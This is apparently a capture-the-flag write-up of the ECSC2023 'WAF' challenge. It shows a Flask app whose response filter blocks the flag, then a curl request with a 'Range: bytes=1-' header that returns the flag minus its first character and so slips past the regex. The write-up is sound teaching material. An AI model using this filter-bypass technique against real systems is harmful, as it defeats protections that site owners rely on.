WAF - ECSC2023
Points: 114 Solves: 43
Flag on our website is protected by the state of the art web application firewall! https://waf.ecsc23.hack.cert.pl/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import re
from flask import Flask, Response, send_file
app = Flask(__name__)
@app.after_request
def waf(response: Response) -> Response:
response.direct_passthrough = False
if re.match(b'ecsc23{\\w+}', response.data):
return Response(status=401)
else:
return response
@app.route("/flag")
def get_flag() -> Response:
return send_file("flag.txt")
@app.route("/")
def get_root() -> Response:
return "<h1>This site is protectedy by WAF</h1>"
if __name__ == "__main__":
app.run(host="0.0.0.0")
First look
As we see the WAF works pretty simple here, just by checking the response content. WAF checks is the returned content contain’s a flag by: re.match(b'ecsc23{\\w+}', response.data)
with means basiclly that returned conent cannot be something like this: ecsc23{abc_123}
.
Wherever we go on website, firstly waf()
function executes and then (if if
returns false) pass response to us. So we can’t bypass WAF (??).
Second opionion
Later, I checked the site and there was nothing interesting there except the version of the server nginx 1.18.0
(surprising!). This version has many vulnerabilities, regreding to snyk.io 35 critical, 60 High . But after checking few I thinks this is not the point.
Gi ve me th e fl ag
The only way I could think of was to force the server to return my response in a different format so that WAF would not catch the string contained in the regex. After reading the HTTP headers, I found nothing of interest. But the thought occurred to me that I could force the server to send me a response in parts, that way WAF would never catch the full text and thus the regex condition would not be fulfilled.
And here comes, all on white Range
header. From MDN:
So let’s try it. We just skip first letter e
so the regex 'ecsc23{\\w+}'
will not be met:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ curl -H "Range: bytes=1-" -i https://waf.ecsc23.hack.cert.pl/flag
HTTP/1.1 206 PARTIAL CONTENT
Server: nginx/1.18.0
Date: Sat, 22 Jul 2023 12:26:04 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 42
Connection: keep-alive
Content-Disposition: inline; filename=flag.txt
Last-Modified: Thu, 13 Jul 2023 14:20:41 GMT
Cache-Control: no-cache
ETag: "1689258041.0-43-532153544"
Accept-Ranges: bytes
Content-Range: bytes 1-42/43
csc23{FLAG_CONTENT}